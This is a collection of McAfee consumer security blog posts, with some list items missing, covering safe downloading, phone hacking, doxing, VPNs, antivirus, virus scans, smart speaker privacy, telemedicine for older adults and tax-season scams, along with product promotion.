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Happy Download Day! (Yes, there’s a day for that.) Today is an excellent day to share downloading best practices to keep all your devices safe from malicious content. It’s tempting to download “free” shows, movies, and video games, but the consequences of doing so can be quite expensive. All it takes is for one malicious download to compromise your identity or leak your banking information to cybercriminals.
Luckily, there are a few ways to keep your devices and personally identifiable information (PII) safe. Here’s how!
How many streaming services do you subscribe to? Two? Ten? No matter how many premium entertainment subscriptions you have, the hottest new show always seems to be on the channel you can’t access. This is a common scenario that often drives people to download episodes from websites that claim crystal-clear, safe downloads. In actuality, these sites could harbor malware, spyware, or other types of malware that lurk in the shadows until an unsuspecting person downloads them to their desktop, tablet, or cellphone.
Malware, which stands for malicious software, often hides behind legitimate-looking links or downloadable content. It’s only until it’s on your device that you realize there’s a criminal hiding behind it. For example, earlier in 2022, a ransomware program (a type of malware) disguised itself as a Microsoft system update. The criminal behind the scheme then threatened leaking or permanently deleting sensitive files if the person didn’t pay the ransom.
Once malware infects one device, some malware programs can infect an entire home network and spread to other connected devices.1 From there, the cybercriminal can steal the online shopping, banking, or personal details of a whole household and either sell their findings on the dark web or keep it for themselves.
Before you download anything to any of your devices, go through this checklist to help you determine the safety of most content:
Overall, while downloading entertainment for free is appealing to people on a budget, it’s better to avoid doing so altogether. The risk isn’t worth it. Consider scheduling a watch party with a friend or family member who has the subscription service you’re seeking.
In case you slip up and accidentally download malware, spyware, or ransomware, McAfee+ Ultimate can defend your devices, remove the software, and monitor the dark web to make sure your PII wasn’t compromised. McAfee antivirus is compatible with macOS, iOS, and Android devices and Chromebooks, so you can regularly scan all your devices for programs that shouldn’t be there. If the worst does happen and a cybercriminal gets a grip on your personal information, McAfee can back you up with $1 million in identity theft coverage and restoration and continuous identity monitoring.
Browse confidently and enjoy your devices to the fullest! Just remember these safe downloading tips and partner with McAfee for peace of mind.
1Federal Trade Commission, “Malware from illegal video streaming apps: What to know”
The post Celebrate National Download Day With This Safe Downloading Checklist appeared first on McAfee Blog.
How do hackers hack phones? Several ways. Just as there are several ways you can prevent it from happening to you.
The thing is that our phones are like little treasure chests. They’re loaded with plenty of personal data, and we use them to shop, bank, and take care of other personal and financial matters—all of which are of high value to identity thieves.
However, you can protect yourself and your phone by knowing what to look out for and by taking a few simple steps. Let’s break it down by first taking a look at some of the more common attacks.
Whether hackers sneak it onto your phone by physically accessing your phone or by tricking you into installing it via a phony app, a sketchy website, or a phishing attack, hacking software can create problems for you in a couple of ways:
Some possible signs of hacking software on your phone include:
In all, hacking software can eat up system resources, create conflicts with other apps, and use your data or internet connection to pass along your personal information into the hands of hackers—all of which can lead to some of the symptoms listed above.
These are a classic form of attack. In fact, hackers have leveled them at our computers for years now too. Phishing is where hackers impersonate a company or trusted individual to get access to your accounts or personal info or both. And these attacks take many forms, like emails, texts, instant messages, and so forth, some of which can look really legitimate. Common to them are links to bogus sites that attempt to trick you into handing over that info or that install malware to wreak havoc on your device or likewise steal information. Learning how to spot a phishing attack is one way to keep yourself from falling victim to one.
Professional hackers can use dedicated technologies that search for vulnerable mobile devices with an open Bluetooth connection. Hackers can pull off these attacks when they are range of your phone, up to 30 feet away, usually in a populated area. When hackers make a Bluetooth connection to your phone, they can possibly access your data and info, yet that data and info must be downloaded while the phone is within range. As you probably gathered, this is a more sophisticated attack given the effort and technology involved.
In August of 2019, the CEO of Twitter had his SIM card hacked by SIM card swapping scam. SIM card swapping occurs when a hacker contacts your phone provider, pretends to be you, and then asks for a replacement SIM card. Once the provider sends the new SIM to the hacker, the old SIM card will be deactivated, and your phone number will be effectively stolen. This means the hacker has taken control of your phone calls, messages, and so forth. This method of hacking requires the seemingly not-so-easy task of impersonating someone else, yet clearly, it happened to the CEO of a major tech company. Protecting your personal info and identity online can help prevent hackers from impersonating you to pull off this and other crimes.
While there are several ways a hacker can get into your phone and steal personal and critical information, here are a few tips to keep that from happening:
The post How Do Hackers Hack Phones and How Can I Prevent It? appeared first on McAfee Blog.
Have you ever said something you wish you could take back? Maybe it was a comment muttered in the heat of the moment that hurt someone’s feelings. Or maybe you just had a night out full of silly antics that you wouldn’t want your boss or grandma to see.
These are completely normal occurrences that happen all the time. We’re human! We make mistakes and letting loose every now and again is good for us. When these scenarios happen in person, we’re able to apologize or explain ourselves; however, the social media age complicates things. High-def cameras and video recorders are in everyone’s pocket, meaning that in-person slip-ups or lapses in judgement can come back to haunt you in a cyberscheme known as doxing.
Doxing can be harmful to one’s reputation and can cost someone their job, their friends, or their privacy. Here are five things you should know about doxing, plus some tips on how to prevent it from happening to you.
The term doxing originated from the phrase “dropping documents/docs.” It refers to a situation where an enemy or a rival seeks to tarnish the reputation of someone else by releasing documents (aka dropping docs) about them. These documents often contain personally identifiable information (PII) – like full names, birthdates, addresses, employment details, financial information, phone numbers, email addresses – and private correspondences or embarrassing videos or photos. The doxer – or the person dropping the documents – will publish these private details online, whether that’s on a forum, on social media, or a blog.
Doxing is considered cyberbullying because it is a form of online harassment. The doxer often does so with the intent of drumming up widespread hate about the victim and having the release of these private details negatively affect the victim’s life, such as getting them fired from their job or breaking up a relationship.
Doxing happens most frequently to public figures, such as celebrities, politicians, streamers, and journalists. It is also a prevalent practice in the hacking community, where hackers reveal the identities of the real people behind forum usernames. However, anyone is susceptible to having their PII or sensitive photos or videos widely released on the internet for the sake of reputation sabotage. All it takes is for one scorned partner, a disgruntled coworker, or a disagreement to set a doxer on a warpath.
When the saboteur doesn’t have to dig into your past via the dark web or through hacking a personal device, doxing isn’t illegal. It’s malicious and can be emotionally damaging, but there is no law stopping a doxer from publishing the private details of someone else. Doxing crosses the line into a crime when it is accompanied by threats.
So, if a doxer didn’t hack a personal device or buy the PII off the dark web, where did they find these details? Oftentimes, people incriminate themselves with their social media footprint. What seems like ancient history in your social media timeline is again front and center after just a few minutes of scrolling.
Check out these tips that can lessen the chances of doxing happening to you:
In addition to the above tips, McAfee can help you fill in the gaps in your defense. McAfee Total Protection is an all-in-one privacy and identity protection service that includes all the tools you need to secure your PII and help you recover if identity theft occurs after a doxing incident. Personal Data Cleanup scans 40 risky data broker sites for your information. If you appear on any of those sites, McAfee will help you remove it to keep your PII out of a doxer’s hands.
The post 5 Things About Doxing You Should Know appeared first on McAfee Blog.
Using a VPN on your smartphone can boost your privacy in a big way, particularly with all the data tracking that’s happening out there today.
For some time now, we’ve recommended a VPN when using public Wi-Fi in airports, libraries, hotels, and coffee shops. Given that these are public networks, a determined hacker can snoop on the other devices transmitting data on it. With a VPN, any connection becomes a secure connection, which includes public Wi-Fi. That advice still holds true. Yet there’s a good reason to use it on your smartphone all the time—for your privacy.
Let’s start with a quick look at the two big things a VPN does for you.
The bank-grade encryption used by a strong VPN shields your data and information while it’s in transit, which makes it terrifically difficult for hackers to spy on your connection. (Think of your data and information traveling through a tunnel that no one else can use or see into.) In that way, at VPN makes all kinds of online activities more secure—like banking, shopping, and checking up on your finances.
By masking your whereabouts and your IP address, along with encryption that helps keep your activities private, a VPN reduces the personal information that others can collect and track. That includes internet service providers, social media companies, businesses, app developers, websites, and others who gather your data for marketing purposes or for resale to third parties.
As far as your privacy is concerned, a VPN on a smartphone can be a smart move. There are a couple of reasons for that: first, because of the way smartphones have additional tracking technologies built in, and second, because of all the trackable data we create when using smartphones as frequently as we do—up to six hours per day for some.
As for how your smartphone is built, data collectors can harvest your personal information that reveals what you’re doing, when you’re doing it, and where you’re doing it as well. Several technologies allow them to pinpoint where you are at any given time, such as GPS and location services, along with Bluetooth connectivity and location tracking based on which cell phone tower you’re connected to. Even scanning a QR code with your phone can reveal location information. It can all get rather precise, which is of interest to advertisers, businesses, and even governments.
Next, think about all the activities you do on your phone, with a special emphasis on the apps you use and the data they create, about your health, your shopping habits, your travels, who you’re chatting with, and what content you’re posting online—just to name a few things. Once again, that information in of itself is valuable to data collectors. It becomes even more valuable when they know where you do these things.
Taken together, data broker companies readily gather this information from millions of devices, generating billions of data points, and create massive lists of targeted information. And that information gets quite specific. With some data brokers collecting hundreds and into the thousands of data points per person, they can provide interested buyers with a high-resolution snapshot of who you are, where you live, who’s in your family, your income, where you shop, what you like to buy—right on down to your favorite shampoo. And that’s just for starters.
It’s little surprise that all this data brokering activity fuels a global business estimated at $200 billion U.S. dollars a year.
How’s this happening? In large part by way of the privacy policies you may or may not have read.
Within those policies, device manufacturers, social media companies, app developers, and so on will detail what data they collect, under what conditions, what they do with it, and if they share or resell that data to other parties. However, if you’ve ever taken a dive into the fine print of a privacy policy, what’s stated there isn’t always clear. Now consider all the apps you have on your phone and the privacy policies associated with each one—your personal data privacy picture gets even less clear.
With digital data and information collection baked into so much of what we do online, it’s little wonder that more than 70% of people feel like their data privacy is out of their control.
Yet there are things you can do.
Using a VPN on your smartphone can make you far more anonymous online. A VPN can minimize the data that gets exposed as it transmits to and from your smartphone. As a result, companies and data brokers can potentially learn far less about you, your shopping, your travels, your habits, and any other information that they could possibly collect and otherwise profit from.
While you have free VPN options available, I suggest steering clear of them. As with many “free” services, there’s going to be some catch, often involving data collection. For example, some so-called “free VPNs” have served up tracking malware or actually collected private data and information for sale—the very things you want a VPN to prevent.
Given that this is your privacy we’re talking about, do a little background check. Has the VPN you’re considering been independently audited for security? The technology that powers ours undergoes a thorough audit every year. Search news articles and see if the VPN you’re looking at has a track record of collecting and selling data in any way. Again, with our VPN technology, we don’t log or track what you do online so your online activity remains private.
What about the information that’s already out there? Our Personal Data Cleanup can help you remove your personal information from high-risk data broker sites, so you can prevent it from being further collected and sold online. If you’re unsure if your data and information are out there, consider what one major data brokers has touted in the past—a reach of over 62 countries and the ability to reach over 2.5 billion consumers globally. With 5 billion internet users today, that accounts for half of the world’s online population. And that’s just one data broker alone.
Moreover, consider that data brokers acquire plenty of information from places other than your smartphone and other connected devices. They skim and collate public records associated with you, information purchased from retailers with loyalty card programs, not to mention census data, court records, and motor vehicle records. And that’s just a few of the many sources. Using our Personal Data Cleanup can help remove those sorts of records too.
Together, the combination of a VPN and Personal Data Cleanup can help you become far more private than before. With so much of our digital lives getting collected, tracked, and tabulated, often without our knowledge thanks to confusing privacy policies, taking control of your privacy makes sense and only gets easier to do thanks to the tools and services available to you.
The post Privacy, please! Why a VPN on your smartphone may be a smart move for you. appeared first on McAfee Blog.
If your PC runs on Windows 10, you’re in very good company. The Microsoft operating system is the most widely used OS in the world. Many Windows 10 users have also been upgraded to Windows 11 through a rollout that began in 2021. Microsoft plans to complete the Windows update by mid-2022.
Unfortunately, its success as a widely used operating system makes Windows attractive to hackers. And if malicious software like malware can make a home in Windows, there are a lot of targets. So, this might raise the question of how best to protect your Windows 10 or 11 device.
Should you just use Windows Defender — Microsoft’s free version of antivirus software — or buy additional protection?
Read on to learn what Microsoft Defender covers and how additional virus protection can secure all of your connected devices.
For years, Microsoft has offered anti-malware protection, but the current version provides effective security against viruses. Windows Defender is a free antivirus tool that’s built into the Windows operating system.
While it’s considered one of the best free antivirus software programs, it doesn’t have any extra features that might come with paid security software. If you’re just looking for good antivirus software, though, Windows Defender can get the job done.
If you’re not using third-party antivirus protection, you’ll want to make sure that your Windows Defender antivirus coverage is working on your computer. Here’s how to check:
To make sure your Windows security is running, follow these steps:
With built-in coverage, you may wonder if you should invest in paid antivirus software. The answer is, of course, yes! It can be a good idea to get another antivirus solution because blocking malware and viruses should just be one part of your threat protection.
Today’s cybercriminals are using elaborate ruses to try to access your personal information, such as your bank and credit card numbers. And some of their scams might even target your devices with risky apps or links on social media.
As they always say, it’s better to be safe than sorry! Having another antivirus program can make sure you have real-time protection and access to the latest security features.
There are a lot of antivirus protection programs out there, but they aren’t all created equal. When looking for the best antivirus software for your needs, here are some things to consider for your devices running on Windows 10 or 11.
If you have a Windows PC, use an iPhone, and your tablet runs on Chrome, it helps to have an antivirus app that works across multiple operating systems. The good news is that McAfee Total Protection is compatible with Windows, Mac, iOS, and Android devices, so you can continue enjoying all of your different devices without losing protection.
For greater cybersecurity, antivirus software should defend against a variety of online threats like viruses, spyware, and ransomware. And that’s exactly what you get with McAfee Total Protection. Our antivirus software can also help you avoid phishing attacks, which are fake messages to trick you into providing information or clicking a malicious link. The software will give you a warning when it recognizes a risky link, website, or file.
Functionality is another thing you’ll want to consider when looking for antivirus software. If the program isn’t easy to use to begin with — especially if you want to easily manage multiple devices — what good will it do you?
But you don’t have to worry with McAfee Total Protection, which allows you to connect and manage all of your computers and mobile devices from one single dashboard.
To keep your devices free from online threats like malware, good antivirus software will scan your files for threats. McAfee Total Protection provides 24/7 protection with real-time, on-demand, and scheduled scanning of files and applications.
McAfee Total Protection was developed with an understanding of how cybercriminals operate. Scammers may use a variety of tactics to try to steal your personal information, so our all-in-one protection also includes:
Using Microsoft’s built-in antivirus software can protect your Windows devices from viruses and malware. But to really keep your network and all of your devices secure, it’s good to rely on comprehensive protection like McAfee Total Protection. With services like identity monitoring, safe browsing, and a secure VPN, you can enjoy the internet without worry.
The post Does Windows 10 or 11 Need Antivirus Software? appeared first on McAfee Blog.
Whether you think you might have a virus on your computer or devices, or just want to keep them running smoothly, it’s easy to do a virus scan. How to check for viruses depends on the software and device you have, so we’ll go through everything you need to know to run a scan effectively and keep your computers, phones and tablets in tip-top shape.
First, let’s cover a few of the telltale signs your device might have a virus. Is your computer or device acting sluggish or having a hard time booting up? Have you noticed missing files or a lack of storage space? Have you noticed emails or messages sent from your account that you did not write? Perhaps you’ve noticed changes to your browser homepage or settings? Or maybe, you’re seeing unexpected pop-up windows, or experiencing crashes and other program errors. These are all examples of signs that you may have a virus, but don’t get too worried yet, because many of these issues can be resolved with a virus scan.
Each antivirus program works a little differently, but in general the software will look for known malware that meets a specific set of characteristics. It may also look for variants of these known threats that have a similar code base. Some antivirus software even checks for suspicious behavior. If the software comes across a dangerous program or piece of code, it removes it. In some cases, a dangerous program can be replaced with a clean one from the manufacturer.
The process of checking for viruses depends on the device type and its operating system. Check out these tips to help you scan your computers, phones and tablets.
If you use Windows 10, go into “Settings” and look for the “Updates & Security” tab. From there you can locate a “Scan Now” button.
Of course, many people have invested in more robust antivirus software that has a high accuracy rate and causes less drain on their system resources, such as McAfee Total Protection. To learn how to run a virus scan using your particular antivirus software, search the software’s help menu or look online for instructions.
Mac computers don’t have a built-in antivirus program, so you will have to download security software to do a virus scan. There are some free antivirus applications available online, but we recommend investing in trusted software that can protect you from a variety of threats. Downloading free software and free online virus scans can be risky, since cybercriminals know that this is a good way to spread malware.
Whichever program you choose, follow their step-by-step instructions on how to perform a virus scan, either by searching under “help” or looking it up on their website.
Yes, you can get a virus on your phone or tablet, although they are less common than on computers. However, the wider category of mobile malware is on the rise and your device can get infected if you download a risky app, click on an attachment in a text message, visit a dangerous webpage, or connect to another device that has malware on it.
Fortunately, you can protect your devices with mobile security software. It doesn’t usually come installed, so you will have to download an application and follow the instructions.
Because the Android platform is an open operating system, there are a number of antivirus products for Android devices, that allows you to do a virus scan.
Apple devices are a little different because they have a closed operating system that doesn’t allow third parties to see their code. Although Apple has taken other security precautions to reduce malware risks, such as only allowing the installation of apps from Apple’s official app store, these measures aren’t the same as an antivirus program.
For more robust protection on your Apple devices, you can install mobile security software to protect the private data you have stored on your phone or tablet, such as contacts, photos and messages.
If safeguarding all your computers and devices individually sounds overwhelming, you can opt for a comprehensive security product that protects computers, smartphones and tablets from a central control center, making virus prevention a breeze.
New online threats emerge every day, putting our personal information, money and devices at risk. In the first quarter of 2019 alone McAfee detected 504 new threats per minute, as cybercriminals employed new tactics. That’s why it is essential to stay ahead of these threats by using security software that is constantly monitoring and checking for new known threats, while safeguarding all of your sensitive information. Virus scans are an essential part of this process when it comes to identifying and removing dangerous code.
Most antivirus products are regularly scanning your computer or device in the background, so you will only need to start a manual scan if you notice something suspicious, like crashes or excessive pop-ups. You can also program regular scans on your schedule.
Of course, the best protection is to avoid getting infected in the first place. Here are a few smart tips to sidestep viruses and other malware:
The post How To Do A Virus Scan appeared first on McAfee Blog.
So is your smart speaker really listening in on your conversations?
That’s the crux of a popular privacy topic. Namely, are we giving up some of our privacy in exchange for the convenience of a smart speaker that does our bidding with the sound of our voice? After all, you’re using it to do everything from search for music, order online, and control the lights and temperature in your home.
What is your smart speaker really hearing—and recording?
Let’s take a look at what’s going on inside of your smart speaker, how it processes your requests, and what companies do with the recordings and transcripts of your voice.
More or less, smart speakers are listening to all the time. Each smart speaker has its own “wake word” that it listens for, like Alexa, Siri, or Google. When the device hears that wake word or thinks it hears it, it begins recording and awaits your verbal commands. Unless you have the microphone or listening feature turned off, your device indeed actively listens for that wake word all the time.
Here’s where things get interesting, though. There’s a difference between “listening” and “recording.” The act of listening is passive. Your smart speaker is waiting to hear its name. That’s it. Once it does hear its name, it begins recording for a few seconds to record your command. From there, your spoken command goes into the company’s cloud for processing by way of an encrypted connection.
There are exceptions to when your command may go to the company’s cloud for processing, like Siri on iPhones, which according to Apple, “You don’t sign in with your Apple ID to use Siri, and the audio of your requests is processed entirely on your iPhone.” Also, Google Assistant may process some requests without going to the cloud, like “When a user triggers a smart home Action that has a local fulfillment path, Assistant sends the EXECUTE intent or QUERY intent to the Google Home or Google Nest device rather than the cloud fulfillment.”
In the cases where information does go to the cloud, processing entails a few things. First, it makes sure that the wake word was heard. If it’s determined that the wake word was indeed spoken (or something close enough to it—more on that in a minute), the speaker follows through on the request or command. Depending on your settings, that activity may get stored in your account history, whether as a voice recording, transcript, or both. If the wake word was not detected, processing ends at that point.
Enter the issue of mistaken wake words. While language models and processing technologies used by smart speakers are constantly evolving, there are occasions where a smart speaker acts as if a wake word was heard when it simply wasn’t said. Several studies on the topic have been published in recent years. In the case of research from Northeastern University, it was found that dialogue from popular television shows could be interpreted as wake words that trigger recording. For example, their findings cite:
“We then looked at other shows with a similarly high dialogue density (such as Gilmore Girls and The Office) and found that they also have a high number of activations, which suggests that the number of activations is at least in part related to the density of dialogue. However, we have also noticed that if we consider just the amount of dialogue (in a number of words), Narcos is the one that triggers the most activations, even if it has the lowest dialogue density.”
Of interest is not just the volume of dialogue, but the pronunciation of the dialogue:
“We investigated the actual dialogue that produced Narcos‘ activations and we have seen that it was mostly Spanish dialogue and poorly pronounced English dialogue. This suggests that, in general, words that are not pronounced clearly may lead to more unwanted activations.”
Research such as this suggests that smart speakers at the time had room for improvement when it comes to properly detect wake words, thus leading to parts of conversation being recorded without the owner intending it. If you own a smart speaker, I wouldn’t be too surprised to hear that you’ve had some issues like that from time to time yourself.
As mentioned above, the makers of smart speakers make constant improvements to their devices and services, which may include the review of commands from users to make sure they are interpreted correctly. There are typically two types of review—machine and human. As the names suggest, a machine review is a digital analysis and human reviews entail someone listening to and evaluating a recorded command or reading and evaluating a transcript of a written command.
However, several manufacturers let you exercise some control over that. In fact, you’ll find that they post a fair share of articles about this collection and review process, along with your choices for opting in or out as you wish:
The quickest way to ensure a more private experience with your smart speaker is to disable listening—or turn it off entirely. Depending on the device, you may be able to do this with the push of a button, a voice command, or some combination of the two. This will keep the device from listening for its wake word. Likewise, this makes your smart speaker unresponsive to voice commands until you enable them again. This approach works well if you decide there are certain stretches of the day where your smart speaker doesn’t need to be on call.
Yet let’s face it, the whole idea of a smart speaker is to have it on and ready to take your requests. For those stretches where you leave it on, there’s another step you can take to shore up your privacy.
In addition to making sure you’re opted out of the review process mentioned above, you can also delete your recordings associated with your voice commands.
Managing your voice history like this gives you yet one more way you can take control of your privacy. In many ways, it’s like deleting your search history from your browser. And when you consider just how much activity and how many queries your smart speaker may see over the course of days, weeks, and months, you can imagine just how much information that captures about you and your family. Some of it is undoubtedly personal. Deleting that history can help protect your privacy in the event that information ever gets breached or somehow ends up in the hands of a bad actor.
Lastly, above and beyond these privacy tips for your smart speakers, comprehensive online protection will help you look out for your privacy overall. In the case of ours, we provide a full range of privacy and device protection, along with identity theft protection that includes $1M identity theft coverage, identity monitoring, and identity restoration assistance from recovery pros—and antivirus too, of course. Together, they can make your time spent online far more secure.
You’re the smart one in this relationship
With privacy becoming an increasingly hot topic (rightfully so!), several companies have been taking steps to make the process of managing yours easier and a more prevalent part of their digital experience. As you can see, there are several ways you can take charge of how your smart speaker uses, and doesn’t use, your voice.
It used to be that many of these settings were tucked away deep in menus, rather than something companies would tout on web pages dedicated to privacy. So as far as smart speakers go, the information is out there, and I hope this article helps make the experience with yours more private and secure.
The post Smarter Homes & Gardens: Smart Speaker Privacy appeared first on McAfee Blog.
Whether it’s for routine care, a prescription refill, or a simple follow-up, online doctor visits offer tremendous benefits in terms of both convenience and ease of care—all good reasons to help mom and dad get connected with it.
There’s no doubt that more older adults than ever are taking advantage of online doctor visits, more formally known as telemedicine. While usage numbers have risen dramatically across all age groups, it’s particularly so for elders. Pre- and post-pandemic numbers saw a 63-fold increase in Medicare telemedicine use.
However, many older patients are missing out and not using telemedicine for one reason or another. What’s holding them back? Several things, according to research from the University of California, San Francisco:
Moreover, another issue is that many older adults do not know that telemedicine is an option. Research from the University of Michigan showed that 55% of older adults surveyed were unaware if their healthcare provider even offered telemedicine as a service. And perhaps quite telling is that the same survey revealed nearly half of older adults harbored concerns about privacy and did not feel personally connected to their care provider during their visits.
For us as children and grandchildren of older adults, it can be tough knowing that a loved one is missing out on an avenue of care that they could otherwise benefit from. While we absolutely respect what they feel is comfortable and trustworthy for them, there are several other areas where we can help the older loved ones in our lives overcome the issues and concerns they face.
With that, let’s talk about the technology behind telemedicine and how you can help them use it, and address some of those privacy issues as well.
As indicated above, paying a visit to the doctor via telemedicine can be a big jump. Just as the idea of it is new for many of us, it’s yet newer for older adults. There’s a good chance that you’re familiar with video chats and calls already, which gives you a foundation we can work with when it’s time to see the doctor on a screen. That may not be the case for older adults. Add that into the privacy concerns and decades of seeing a doctor in person, you can see why some older adults simply choose to opt-out.
One way you can help is to have a few video chats with your older loved ones. In addition to the regular calls you make, you might want to try having a video chat with them from time to time. It’s an outstanding way to spend time together when you can’t be together in person, and it may develop a comfort level with the technology so that they may be willing to give telemedicine a try. You can check out my earlier article in this series that covers video chats with mom and dad, along with straightforward steps to get them up and running on the technology and how to use it.
One thing your parents will need for their visit is a reliable device that they’re comfortable using. It could be a computer or laptop, or it may be a smartphone or tablet. Note that in some cases their healthcare provider may use a telemedicine solution that has certain requirements as well, so you’ll want to see what those are and ensure that the device mom or dad has is compatible. (For example, the care provider may have an app that’s available through the Apple App Store or Google Play. Others may have an online platform that can be accessed by several different kinds of devices.)
If they’re using a smartphone or tablet, that will likely make things easier because the camera and microphone are already integrated into the device—all set up and ready to go. For a computer or laptop, you can help them get familiar with the setup, like the microphone levels, speaker volume, and camera. For audio, you can see a set of headphones or smartphone earbuds work well for them, which can help prevent audio feedback loops and simply make it easier to hear the caregiver.
If you’re looking for a little assistance with a Windows computer, you can check out this quick article for setting up the audio and this article for setting up the camera. For Macs, check out this article for audio and this article for the video.
If they don’t already have comprehensive online protection software for their devices, look into getting it. This will protect them against malware, viruses, and phishing attacks. They’ll also benefit from other features that help them manage their passwords, protect their identity, safeguard their privacy, and more.
As for privacy in general, medical information is among the most precious information any of us have. For example, here in the U.S., we have HIPPA privacy standards to protect our medical records and conversations. Yet there’s also the issue of eavesdropping, which is a risk in practically any online communication.
To help address privacy issues and concerns, health care providers will often post a set of Frequently Asked Questions (FAQ) as part of their telemedicine service. Within that, you’ll very likely find a section on personal privacy and the technologies in place to protect it. Here’s a good example of a telemedicine FAQ from the University of Washington Medicine and another example from the telemedicine page that Virginia Mason/Franciscan Health designed for its patients.
In all, if your parents have concerns about their privacy, you can absolutely assure them that it’s a valid concern. Consult the provider’s FAQ for guidance. If either of you has further questions, feel free to call the healthcare provider and speak with them.
In addition to digital security, there’s the possibility of physical eavesdropping, somebody actually listening in on their conversation from another room, apartment, or from the street. Help your older loved ones pick a place in their home where they can have some privacy and where they can’t be overheard by neighbors and passers-by. A bedroom is a fine place—or any location that’s familiar and comfortable as well. When choosing a private place, a well-lit location is important as well so that the camera captures a nice and clear image.
Additionally, you can help them prep for their visit by putting together a list of things to discuss during the visit. The U.S. Department of Health and Human Services suggests writing things down:
In addition to the above, there are further measures you can help your parents or older loved one take to further secure their telemedicine visit—and their internet usage in general.
Your telemedicine visit may require setting up a new account and password. When doing so, make sure it’s with a strong, unique password. A password manager can help. Also found in comprehensive online protection software, a password manager can create and securely store strong and unique passwords for your mom and dad, giving them one less thing they need to remember and worry about.
A VPN, or virtual private network, offers a strong layer of additional protection when you’re transmitting health data or simply having a private conversation about your health with a professional. A VPN creates an encrypted tunnel to keep you and your activity anonymous. In effect, your data is scrambled and hidden to anyone outside your VPN tunnel, thus making your private information difficult to collect. Check with the care provider to see if their telemedicine solution uses a VPN. If not, you can always get a VPN as part of your online protection software.
Beyond their devices, securing their internet router is an important step in making a telemedicine visit safe and secure. The data that travels along it is of a highly personal nature already, so make sure the router has a strong and unique password. Also, change the name of their router so it doesn’t give away their address or any other signs of their identity. One more step is to check that your router is using an encryption method, like WPA2, which will keep your signal secure. If you have questions, check with their internet provider—they may even offer up a newer, more secure router to replace an older one.
As with anything concerning their health, have your parents and loved ones consult with their caregivers to ensure that a telemedicine visit is a proper course for them.
So while the technical ins and outs of preparing for a telemedicine visit may have their challenges for some older adults, we should also realize that getting comfortable with the idea of a telemedicine visit in the first place may take some time and effort. Starting with regular video chats with the family may increase familiarity and ease with holding a conversation over video. Likewise, having a conversation with their doctor about telemedicine may put some concerns to rest as well. After all, they will have a relationship with their doctor. Getting the facts from the doctor, face to face may help.
We all want what’s best, particularly when it comes to the care of our parents and older loved ones in our lives, and choosing to try telemedicine is a highly personal decision for them. I hope this article and the resources cited within it will help you enable them to make the choice that’s comfortable, effective, and right for them.
The post Helping Mom & Dad: Online Doctor Visits and Telemedicine appeared first on McAfee Blog.
Who loves tax season besides accountants? Scammers.
Emotions can run high during tax time. Even if you’re pretty sure you did everything right, you may still have a few doubts kicking around. Did I file correctly? Did I claim the right deductions? Will I get audited? As it turns out, these are the very same anxieties that criminals use as the cornerstone of their attacks.
So yes, crooks indeed love tax season. Particularly online. And they’ll bait your digital world with several proven types of scams in an effort to cash in on what can be a somewhat uncertain time.
The good news is that you have plenty of ways to protect yourself from these scams. Let’s look at what scammers typically have in store, along with some practical advice to protect yourself as you file your taxes—things you can do to keep crooks out of your business this tax season. Don’t delay, download McAfee’s tax season security guide to avoid the latest tax scams.
First, know that you’re probably doing a good job with your taxes. Less than 2% of returns get audited and most discrepancies or adjustments can get handled easily if you address them promptly.
Still, the wariness of the IRS and intricate tax laws makes for ripe pickings when it comes to hackers, who prey on people’s fear of audits and penalties. Common scams include fake emails, phone calls from crooks posing as IRS agents, and even robocalls that threaten jail time.
What are crooks looking to do with their scams? Several things:
As if we didn’t have enough to worry about at tax time without crooks in the mix.
Investigating the landscape even more closely, we can turn to the authority itself, as the IRS has published its most recent top 12 tax season scams, a broad list that includes:
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For a comprehensive look at each one of these scams, and for ways, you can steer clear of them, check our Guide to IRS & Tax Season Scams. However, there are some common threads to many of these scams.
For starters, plenty of tax scams involve crooks posing as an IRS employee, perhaps via a phone call or email, to glean personal information from you, or to demand payment—sometimes under the threat of penalties or even jail time. Crooks won’t hesitate to use strong-arm tactics like these and play on your fears. The good news is that such tactics are typically a sign that the contact isn’t legitimate. In fact, a quick way to spot a scam is to know what the IRS won’t do when they contact you. From the IRS.gov website, the IRS will not:
What will the IRS do? Usually, the IRS will first mail a notification to any taxpayer who owes taxes. IRS collection employees might call on the phone or make an unannounced visit to your home or business. If they require payment, the payment will always be to the U.S. Treasury. Read about other ways to know what the IRS won’t do when they contact you.
Scammers won’t limit themselves to posing as the IRS. They’ll act as an imposter in several other ways as well. For example, they may pose as a popular do-it-yourself tax brand, a tax preparer, or even as a phony charitable organization that promises any donations you make are tax-deductible.
Here, they may send you phony emails or direct messages or even ring you up with bogus telemarketing or robocalls designed to steal personal information.
In the cases where the scammers reach you online, the emails and messages they send will vary in their tone and polish—in other words, how authentic they appear. Some will look nearly legitimate and cause even the most hardened of digital skeptics to click on a phony link or download a sketchy attachment. Others, well, will look clearly like spam, complete with spelling and grammatical errors, along with clumsy use of logos, layouts, and design.
Taken together, both are ways that scammers get people to visit sites designed to compromise personal information … or to download malware like keyloggers that skim account passwords and ransomware that encrypt a victim’s files hold them hostage for a price.
Social media attacks also made the IRS Dirty Dozen. In a social media attack, scammers harvest information from social media profiles and turn it against their victims. Per the IRS, because “social media enables anyone to share information with anyone else on the Internet, scammers use that information as ammunition for a wide variety of scams. These include emails where scammers impersonate someone’s family, friends, or co-workers.”
With those personal details gleaned from social media, scammers will send phony links to scam sites, promote bogus charities, or flat-out ask for money or gift cards to “help them out” at tax time.
No question that bogus emails, messages, and phone calls remain a popular way for scammers to steal personal and financial information. Spam emails, messages, and the malicious links associated with them abound this time of year as well. It’s always to keep a critical eye open for these, and it’s particularly true during tax season.
View all emails with attachments and links with suspicion, even if they appear to come from a person, business, or brand you know. Confirm attachments with the people you know before opening. And if you receive a message or alert about an account of yours, visit that company or organization’s website directly to enquire into the status of your account rather than taking a chance by clicking on a link that could send you to a phony website.
One way to protect yourself from an identity thief from claiming a return in your name is to file yours before they do. In fact, many victims of identity theft find out they’ve been scammed when they receive an IRS notification that their tax claim has already been filed. Simply put, file early.
Here’s another tool that can help you fight identity theft. And get this: it’s not only helpful, but it’s also free. Through the Federal Trade Commission, you are entitled to a free copy of your credit report from each of the three major credit reporting companies once every 12 months. In this report, you can find inaccuracies in your credit or evidence of all-out identity theft.
Keep in mind that you get one report from each of the reporting companies each year. That works out to three reports total in one year. Consider this: if you request one report from one credit reporting company every four months, you can spread your free credit report coverage across the whole year.
As with much of the guidance we offer around social media, one of the best ways to prevent such social media tax attacks is to make your profiles private so that only friends and family can see them. That way, scammers will have a far more difficult time reaching you. Moreover, consider paring back the information you share in your social media profiles, like your alma maters, birthday, mother’s maiden name, pet names—any personal information that a scammer may use to compromise your accounts or the security questions associated with them.
